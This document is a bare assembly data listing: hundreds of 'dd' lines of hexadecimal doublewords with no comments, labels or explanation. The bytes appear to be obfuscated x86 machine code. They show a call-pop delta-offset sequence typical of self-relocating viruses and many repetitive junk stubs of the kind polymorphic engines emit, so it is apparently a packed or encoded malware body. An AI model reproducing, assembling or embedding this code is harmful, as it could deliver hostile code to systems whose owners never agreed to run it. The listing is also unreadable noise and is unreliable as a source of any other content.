		dd 3DB85h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 6DB1998Ch, 81660153h, 836394C3h
		dd 22B255BDh, 840F0006h, 3A8h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h
		dd 6DC35343h, 2D9D8BE7h, 0BB061F0Eh, 42A19652h,	0B255B5FFh
		dd 95890622h, 61F06A9h,	11E9h, 8E113600h, 7E618912h, 0DC358639h
		dd 1330D574h, 95FFD8DDh, 61F1BC9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 1CC35747h, 0B58921A3h, 61F08BDh
		dd 236DBD8Bh, 0B58B061Fh, 622B249h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0DCC35747h,	8E85AB8Bh, 3160487Eh
		dd 1F0A59BDh, 9D8B6106h, 61F0251h, 106C7h, 6A0001h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 1F0093C3h, 96EADE56h, 29BB74DAh, 1F2B019Dh, 6E85006h
		dd 2F000000h, 7CA7DA7Bh, 605250D3h, 60310F61h, 5F585A61h
		dd 80243489h, 0B5FFC9DBh, 622B255h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 2FC35141h, 12E9h, 0BDD87600h
		dd 0EEB39153h, 4E718327h, 0EBDD8CDBh, 0FFA62A4Ch, 1F162195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0E5CF80BEh, 0B249B58Bh, 6A0622h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8B80C3h, 61F1AE5h, 2FF1858Bh, 9D29061Fh, 61F0F95h
		dd 0C48689h, 85290000h,	61F2DD1h, 0B5D958Bh, 0CFB3061Fh
		dd 5604C283h, 295FD88Bh, 1F15018Dh, 20508906h, 2F41BD89h
		dd 858D061Fh, 622C797h,	199D9D89h, 8689061Fh, 0B8h, 11F58589h
		dd 6A061Fh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 19h,	0A2C35545h, 31C5B557h, 55B5FFB0h, 890622B2h, 1F06C595h
		dd 5595FF06h, 6A061F2Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 2A76C357h, 1B919D8Bh
		dd 6096061Fh, 0AF91F6B8h, 96506150h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 4DC35646h, 0F607A657h, 8A5E2190h
		dd 5E40BBDAh, 0B5FF5BA2h, 622B255h, 0D6E8DB81h,	95FF2055h
		dd 61F0E1Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	9EC35242h, 6656168Ch, 8F70F781h, 2C0DBD83h, 0F00061Fh
		dd 3984h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 84758F28h, 6660964Ah, 6660C68Bh
		dd 6161C38Bh, 0BA666050h, 9661811Fh, 23B9B589h,	0B5FF061Fh
		dd 622B255h, 5C59D8Bh, 95FF061Fh, 61F1349h, 14799D8Bh
		dd 0B5FF061Fh, 622B255h, 8A0Fh,	95FF0000h, 61F1075h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 94C35343h, 9BD83ECh
		dd 2061F00h, 53840Fh, 8A510000h, 858B5FFCh, 61F1751h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 9C35141h, 0E3817383h
		dd 6BF7ECA2h, 5899D8Bh,	0C0BB061Fh, 0C65A16B6h,	12E90000h
		dd 6E000000h, 221DBF5Bh, 0DE44CA10h, 0A0627C48h, 8070DB12h
		dd 9185C765h, 61F12h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0E4DDC357h,	0FFF356E9h
		dd 0BDB589FFh, 8B061F24h, 459D8BC1h, 8D061F2Ch,	1F19BD85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 938169C1h, 5ABECB92h, 0B1858B60h, 89061F2Ah
		dd 1F0B9D95h, 850F6106h, 16h, 11E9h, 0E762B00h,	1C55AB7Bh
		dd 8A5A4D42h, 701E336Fh, 6090770Dh, 8E9h, 5CDB7E00h, 0BF401B70h
		dd 0EE9A8h, 0D3070000h,	29DFB3B0h, 0CE34986Fh, 9A807FD7h
		dd 8B905061h, 1F08DDBDh, 6A006A06h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B530C7B3h
		dd 0B6B160A8h, 0DF816663h, 858D0AE2h, 6238D76h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1AC35646h, 83F987F2h
		dd 8B6605C0h, 0BE9D8h, 0DF420000h, 0F6049BEEh, 0D509E067h
		dd 85B79073h, 90FE8B50h, 78B6C781h, 6A0742h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 1C35646h, 17A91476h
		dd 5DB70FFAh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0CB1376C3h, 95FFA279h, 61F0161h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 84C35343h
		dd 0ABA67370h, 6D9D8B96h, 8D061F00h, 22B1F28Dh,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 60B16EF3h, 49F68166h, 9D8B5731h, 61F2005h, 0D1FF6159h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0A8C35646h
		dd 84C22737h, 0ABC5A7A9h, 0EF5BD83h, 0F01061Fh,	8585h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 5AAE556Dh, 26AC1B7h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 78C35545h, 0B470EF9Ah, 0D42C7131h
		dd 0D88B6650h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0F535C355h,	0FD754E03h
		dd 214ED707h, 7A58D89h,	95FF061Fh, 61F2F55h, 17299531h
		dd 80E9061Fh, 0E800000Dh, 0
		dd 80ED815Dh, 8906238Dh, 1F028D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 5FC0D932h
		dd 1A25C20Eh, 0B5BD33DBh, 8D061F14h, 228EE485h,	68D0F06h
		dd 89000000h, 1F1CF5BDh, 52509006h, 52505250h, 585A310Fh
		dd 5F56310Fh, 310F585Ah, 585AF98Bh, 0BCBF6650h,	6A9094h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 59034EC3h, 904CB9E5h, 64AAB2A7h, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0AEB742C3h, 0CC3AB0E4h, 0ECB7EE15h, 18A0Fh, 64F50000h
		dd 2589h, 85FF0000h, 61F1029h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 7EC35343h, 0D8B70FA3h, 6880F57h
		dd 89000000h, 1F32C59Dh, 0F3815F06h, 3DB075CBh,	6AFF6Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 1EAFBC3h, 0D36EE57Ch, 0DBD0129h, 29061F0Ah, 1F1DBDBDh
		dd 0B1B5FF06h, 0E9061F1Eh, 13h,	951D987Eh, 3B1B9986h, 0B49E75Eh
		dd 32865CD1h, 0FF9D3E05h, 1F1CED95h, 0EAE906h, 0BD8B0000h
		dd 61F2421h, 0E6FC00B0h, 6D9D8970h, 0E4061F12h,	0BD8B5371h
		dd 61F0B4Dh, 0F613C5Fh,	0C783h,	0BDCF8100h, 0F5AFD24h
		dd 0BD89C8B6h, 61F083Dh, 6BAh, 89C18B00h, 1F15A995h, 4E8C106h
		dd 0FA19D09h, 0F766061Fh, 5BF850E2h, 0BF0FC82Bh, 53D18BFBh
		dd 0D1BD8B53h, 5B061F05h, 18E95Fh, 13E90000h, 85000000h
		dd 714D8363h, 8821D290h, 0FC9F4F61h, 0C622435Ah, 858B3A30h
		dd 61F2BA9h, 83FA8B66h,	8B6607C0h, 0C083FBh, 3BD88B66h
		dd 11830FD0h, 89000000h, 1F2AD595h, 46E906h, 85290000h
		dd 61F05EDh, 0DD58D8Bh,	0BD8B061Fh, 61F05B5h, 0F01E183h
		dd 2B84h, 8B666000h, 6830FF8h, 0F000000h, 80h, 0A5836100h
		dd 61F0DD5h, 63BB66FEh,	0A995894Dh, 66061F2Bh, 0E9FE7EBFh
		dd 0
		dd 2E0B58Dh, 6A0623h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2F0003C3h, 49997470h, 2BF4B485h
		dd 1F239D9Dh, 81006A06h, 2B7218F7h, 4595FF57h, 6A061F1Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0BFA2C355h, 3BB953DAh, 6A000008h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B8A5C352h, 8BC5B3F6h, 0C78166DFh, 0E183AFAFh, 0ED9509FCh
		dd 0FC061F20h, 2B01BD8Bh, 0C02B061Fh, 6AD22Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 8E44FAC3h, 8B66F88Bh, 0C233ADD9h, 0D003E8D1h, 7504E983h
		dd 56006AF4h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 4183B7CDh, 8246A57Ch, 0C18501C6h, 6A061F00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F5FC350h, 80h, 880D00h, 0B5290000h, 61F1DCDh
		dd 0B5D958Bh, 6660061Fh, 8A44C281h, 0EE9h, 0FAEB4300h
		dd 2D3D8CBBh, 6E854B6Eh, 61BA3DB3h, 20C58D8Bh, 6A061Fh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 64287BC3h, 0E8A445C8h, 12h, 95145223h, 180B0A37h, 0CC87BEEEh
		dd 0C41E5F50h, 9D89631Ch, 61F06CDh, 9D89515Bh, 61F1BDDh
		dd 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh
		dd 1F2B7D9Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 913EB178h, 0EB942670h, 9D896925h
		dd 61F0FFDh, 78DBD83h, 0F00061Fh, 9D84h, 0E1BD8B00h, 0B8061F1Ch
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FEC35545h
		dd 0D08AB59Ah, 0B08D8DF8h, 6A061F4Dh, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 5698C357h
		dd 0F2F7B751h, 0C23A0662h, 12E9F98Bh, 27000000h, 358E4A18h
		dd 89699954h, 6F91572Eh, 0FEDA4090h, 6AE1FFB2h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0BFCAC353h, 66718B72h, 0DC3FF262h, 0E865D381h, 0BD83029Bh
		dd 61F137Dh, 77840F00h,	66000004h, 0BD83DE8Bh, 61F137Dh
		dd 82840F01h, 6A000004h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 382DC350h, 0BD833DFCh
		dd 61F137Dh, 20860F03h,	89000004h, 1F08F595h, 0B9B76006h
		dd 6AD98C66h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 29F5C353h, 8B665485h, 4E180FEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C4C35646h
		dd 11840F51h, 0E9000000h, 0Ch, 9356CA8Ah, 235FCBF9h, 83D1E884h
		dd 3DBD8B5Fh, 0A061F0Ah, 30840FC9h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 7669C351h, 8B59132Ch, 1F0DC185h, 0CE906h, 0D64C0000h
		dd 1A0EA74Ch, 6E6BADF6h, 853358F9h, 61F2EC9h, 6810Fh, 8D890000h
		dd 61F0035h, 5C8CBB50h,	4894937h, 52006A24h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BB66B5A2h
		dd 14E8D4C4h, 1A000000h, 3495DB3Dh, 2D523235h, 63E9B15Dh
		dd 778AB247h, 5F92777Eh, 0BF66006Ah, 0BF0F95B5h, 0D72B68FEh
		dd 8A0FF7A4h, 2, 4815B57h, 7A2CD424h, 50006A08h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 800B92D3h, 76532CB6h, 2DE195FFh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 66D145C3h
		dd 0EC72F781h, 0B2558589h, 0D3810622h, 4217834Eh, 21DE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0F73B12C0h, 0F4845F16h, 69BD8BCCh, 8B061F31h
		dd 22B24D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 2B484348h, 0C72412h, 18h,	24E1B589h
		dd 0B58B061Fh, 622B251h, 8BDAB70Fh, 1F13A185h, 52EF8106h
		dd 896FB7F4h, 699D8B06h, 8B061F1Bh, 1F0DC185h, 8B60F806h
		dd 1F0A8D85h, 35BD2906h, 61061F30h, 6A044689h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 3687C352h, 0DE9DAh, 0EFDD0000h, 2FC9D0BDh, 325F5423h
		dd 96A830C4h, 61606056h, 0A3AEBE66h, 8B505F61h,	6A96DAh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 605190C3h, 9D0B5B61h, 61F00EDh, 0FF58D01h, 0B5FF061Fh
		dd 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	77C35343h, 0AFD77ED7h, 0E883941Eh, 4, 1F03FFh
		dd 5333BF53h, 505B57FAh, 168F0Fh, 11E90000h, 4C000000h
		dd 583094F5h, 0E9A2174h, 103F1697h, 0E6F87481h,	424448Bh
		dd 0BF66008Bh, 44895406h, 840F0424h, 19h, 14E9h, 0D88C0800h
		dd 24554303h, 9B14984Fh, 431F11Ah, 2DC31C24h, 6A58E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 9D8B1AC3h, 61F2B31h,	8E8h, 2590600h,	0F97B2401h, 5F5B51A3h
		dd 0B255858Dh, 6A0622h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 38096DC3h, 0DA368798h, 0CE95014h
		dd 36000000h, 606440BAh, 0BA63065Dh, 89EE13EBh,	6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 80A19BC3h, 95FFA0F3h, 61F2DE1h, 1F198589h, 8B61061Fh
		dd 1F310D9Dh, 7D85C706h, 3061F13h, 31000000h, 1F1709B5h
		dd 55BD8306h, 622B2h, 65840Fh, 6A0000h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 52EEE8C3h
		dd 5FFE8B66h, 59E9h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0C00A6A83h, 0F5BFC366h
		dd 6E95105h, 0A6000000h, 4C2C0919h, 8E95FB5h, 9E000000h
		dd 7372B7E6h, 50D14C28h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0C781C08Bh, 7DF9CE7Dh, 0BD838DB3h
		dd 61F137Dh, 0D5850F03h, 6A000003h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0AD67C356h
		dd 558D8B60h, 0E9061F0Ch, 0Ah, 0C225BADDh, 0DC4FA80Ah
		dd 83615CD6h, 22B255BDh, 840F0006h, 394h, 0CD9BD89h, 0B5FF061Fh
		dd 622B255h, 2F41B589h,	95FF061Fh, 61F1BC9h, 8B3FCB80h
		dd 22B249B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 8D893CAFh, 61F2351h, 2E859D8Bh, 6C7061Fh
		dd 10001h, 0ECD0DF81h, 6650644Ch, 3489DF8Bh, 28D0F24h
		dd 0B3000000h, 55B5FFF0h, 6A0622B2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A6ABC357h
		dd 0D8ECFB13h, 89FFDAE3h, 1F2A51B5h, 2195FF06h,	0F061F16h
		dd 83h,	49B58B00h, 0E90622B2h, 10h, 2EA405A0h, 8832DB04h
		dd 4A5F5C58h, 926A5B5Bh, 8BB8E780h, 1F2FF185h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 199D89FFh, 89061F1Dh, 0C486h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0A7538BC4h
		dd 0BD037DDFh, 61F0D45h, 0B5D958Bh, 6A061Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0E3D967C3h
		dd 669743A5h, 835D3FBBh, 958904C2h, 61F1F35h, 66205089h
		dd 8DDB4BBFh, 22C79785h, 0B8868906h, 0E9000000h, 12h, 0B61883C0h
		dd 0CF15AFB4h, 0D8464BB1h, 703B25EDh, 870FCE20h, 6, 9A59D03h
		dd 6A061Fh, 14E9h, 824B5D00h, 89558659h, 77CB5102h, 9182D3D9h
		dd 0D55C2EECh, 719D8928h, 0FF061F08h, 22B255B5h, 66F7B306h
		dd 5FDC781h, 2F5595FFh,	8B60061Fh, 1F18B595h, 61C18B06h
		dd 1A800F50h, 0E8000000h, 5, 4E63BA2Bh,	9E895h,	0A1220000h
		dd 0B10F3BCAh, 5B412E8Bh, 2434895Bh, 0B255B5FFh, 6A0622h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 4B64B9C3h, 31CDE04Bh, 661A9188h, 37B2DB81h, 0E1D95FFh
		dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0EA5CD5C3h, 0C343F15Ch, 0F60474Ah, 1880h
		dd 13E900h, 0D7600000h,	490F63B1h, 7674E763h, 0A8B9F941h
		dd 0AD554254h, 59F85608h
		dd 0DBD8361h, 61F2Ch, 2A840Fh, 50960000h, 6741BF66h, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 74B007Fh, 6E34BB66h,	0B255B5FFh, 95FF0622h, 61F1349h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 81C35141h
		dd 0FE823DEh, 1B000000h, 0CE02F412h, 3374D2D5h,	4B64B98Dh
		dd 0F380E04Bh, 0B5FF5BC7h, 622B255h, 95FFD98Bh,	61F1075h
		dd 1B0D8589h, 0BD83061Fh, 61F0009h, 66840F02h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0B7D2C353h, 9AFC5F3Eh, 8B6B0B5Bh,	51858BFEh
		dd 0E8061F17h, 0Dh, 38B64462h, 2A0110BFh, 0FDC48519h, 0F9858980h
		dd 5B061F16h, 13E9h, 1A749B00h,	5C5793B4h, 0FF4D796Ch
		dd 1A867437h, 0B4E3F2FEh, 8B0000C6h, 1F3021BDh,	9185C706h
		dd 61F12h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 7397C351h, 9E9A5BFh, 0CD000000h
		dd 7612DD7Dh, 0D7466067h, 0FFF393E9h, 0AD9589FFh, 8B061F1Eh
		dd 25BD8BC1h, 8D061F08h, 1F19BD85h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 7A3ACEE1h
		dd 0A10FAB65h, 8950436Dh, 81662404h, 6AFAABF7h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 3DF8DB1h, 8D89C238h,	61F1B2Dh, 0BD89006Ah, 61F07E1h
		dd 9D5C858Dh, 6A0623h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0B0E79FC3h, 5B97F947h, 0BD8BC256h
		dd 61F15ADh, 5C083FCh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 48C35141h, 0E830FCFDh, 10h, 0D45839Bh
		dd 3B824DFAh, 0C5056387h, 918EAE41h, 1C319589h,	815B061Fh
		dd 86699DF3h, 12E8900Dh, 0B8000000h, 2D0D02Eh, 56A97512h
		dd 0F34A67F0h, 3CD26DB6h, 48E0FC5h, 66000000h, 5F7CDEBBh
		dd 0FE8B6650h, 50006A90h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F7AC843h, 6AD9B7h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 79C35545h, 6AF837A1h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 6B708C20h, 89F6F2C3h, 1F05DD8Dh,	6195FF06h
		dd 6A061F01h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0A6E8C353h, 8D0FCDC2h,	6, 0C52F781h
		dd 8D8D13D1h, 622B1F2h,	0FFDA8B66h, 50006AD1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 8C34A6B2h
		dd 45C1BB66h, 0EF5BD83h, 0F01061Fh, 8785h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 25DF5F57h, 614A0D15h, 60026AF9h, 28B0Fh, 61600000h
		dd 0E29858Bh, 8B61061Fh, 1F2A85BDh, 10E89006h, 0A7000000h
		dd 39391B67h, 0F3F9ABBFh, 528C9AAFh, 0BB33A7F7h, 7CF79412h
		dd 0BF66505Bh, 6A90C49Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F99C356h, 95FFFAB7h
		dd 61F2F55h, 679BBF66h,	0E0EE9h, 0E800h, 815D0000h, 239D66EDh
		dd 12E906h, 26410000h, 0F75F3FEBh, 0AEA1A8Ah, 63DD9440h
		dd 8AE67B9Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	43C35040h, 8E7539DFh, 460114EEh, 0BF5051A6h, 7BBFE634h
		dd 858D5F5Fh, 6228EE4h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 9FC35545h, 0BABDA9CAh, 8B202785h, 1F1AF19Dh
		dd 6650F506h, 505FFB8Bh, 2810Fh, 32B70000h, 6A240489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0F616C350h, 35FF6411h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A4C35747h
		dd 0EDBE148Dh, 896436FBh, 25h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 96A28AAFh
		dd 5B4EE381h, 85FF27B8h, 61F1029h, 0FF6AF98Bh, 12E9h, 0D8829800h
		dd 0EECB6229h, 5806F0CFh, 2B6AEAFAh, 0FF1C25F4h, 1F1ECDB5h
		dd 0FFDA8B06h, 1F1CED95h, 162E906h, 0CE90000h, 9E000000h
		dd 16E28D32h, 5167D5Ch,	0B03F3B1Ah, 14E900h, 9A040000h
		dd 6C7455D3h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h,	70E6B555h
		dd 2BBF71E4h, 3C3366EFh, 25830F61h, 81000001h, 6F785DD3h
		dd 0DAB70F22h, 0F9C8B60Fh, 6BAh, 0C9958900h, 29061F06h
		dd 1F2E999Dh, 8BC18B06h, 1F0F699Dh, 4E8C106h, 38D0Fh, 8B660000h
		dd 0E2F766FEh, 1D8C0Fh,	8B600000h, 1F0D858Dh, 10E906h
		dd 42650000h, 2E42EFFCh, 96952D5Ah, 57558C73h, 2B61CEBEh
		dd 5E8C8h, 6CB70000h, 1584A4Ah,	1F18F185h, 0D18B5F06h
		dd 0DE9h, 981B2800h, 0B52CC010h, 0A1E4250Ch, 0CE9A134h
		dd 8B000000h, 1F14A59Dh, 0D59D8906h, 8B061F08h,	1F209185h
		dd 0EE906h, 660D0000h, 36C0BAB6h, 539F8C5Dh, 41937E7Bh
		dd 8107C083h, 8198EE3h,	259D8B7Ah, 83061F23h, 1FBB00C0h
		dd 3B3E2569h, 11830FD0h, 29000000h, 1F1895B5h, 52E906h
		dd 0BD8B0000h, 61F1909h, 1D3D8D8Bh, 0B589061Fh,	61F1501h
		dd 0F01E183h, 3784h, 0A8E38100h, 83570EE8h, 1F1D3DA5h
		dd 9D09FE06h, 61F2019h,	0EE8h, 2D5FF500h, 56ACCA08h, 3B73F31Dh
		dd 0F71F636h, 895BF8BFh, 1F209195h, 0E9D98B06h,	0
		dd 0CDDB58Dh, 6A0623h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 0E4FEC3h, 0F98BE806h, 38F0Fh, 0E3800000h
		dd 6A006AF1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0F6A9C356h, 7059532h, 1D4595FFh
		dd 0BD03061Fh, 61F1B3Dh, 73EB9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0E64707EDh
		dd 8309A45Eh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 36CC6DC3h, 959D01FCh, 2B061F15h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 23013B74h, 1025906h, 0CB816624h,	0BE802E4h
		dd 77000000h, 0F4509BDAh, 0A818F5C8h, 8166B84Dh, 5F20C9DFh
		dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 21866DC3h, 8DA85874h, 0DE950h, 0E6200000h
		dd 0F5E8C891h, 0CF417438h, 5B09F82Dh, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 11E9h, 0B6607700h, 0A4ED51CCh, 0EDB39E16h
		dd 958D37DEh, 0A6BF4076h, 812E28ECh, 0DB703DE3h, 880D3Ch
		dd 8B660000h, 26F381DAh, 8B421BC3h, 1F0B5D95h, 41B50906h
		dd 8B061F15h, 1F20C58Dh, 0DA8B6606h, 7472CB81h,	8B50719Ah
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0E6C35040h, 2280375Bh
		dd 0CE9h, 373A1D00h, 0E22074C9h, 2F6DD56Bh, 0EF816647h
		dd 7E98AC1h, 38000000h,	909DCABBh, 0BD83A38Eh, 61F078Dh
		dd 0A4840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 732C355h, 0E928EF02h
		dd 9, 85454BAEh, 4B80D6B8h, 0B887h, 0FBB0000h, 8D37EB2Fh
		dd 1F4DB08Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 5DBD8B60h, 0FF061F13h, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 75F730B9h, 55EDC8FCh, 7DBB6656h, 10E85BDBh, 8C000000h
		dd 8B5298FDh, 6B7DBB91h, 302A4E9Eh, 0FB7659Eh, 835FD9BFh
		dd 1F137DBDh, 840F0006h, 485h, 8E96060h, 0D7000000h, 0CE4CCFFAh
		dd 603E56BFh, 83616161h, 1F137DBDh, 840F0106h, 480h, 23B58D89h
		dd 8B66061Fh, 7DBD83F8h, 3061F13h, 434860Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 678062C3h, 0F9F38166h, 0EE8B4h, 2FCB0000h, 0BAF8E855h
		dd 64B21132h, 788360CAh, 5FFB8B66h, 0AE9h, 86703100h, 0CB2ACB0Eh
		dd 60D015B6h, 9D8B7FB7h, 61F0025h, 80D98C66h, 6A04E1h
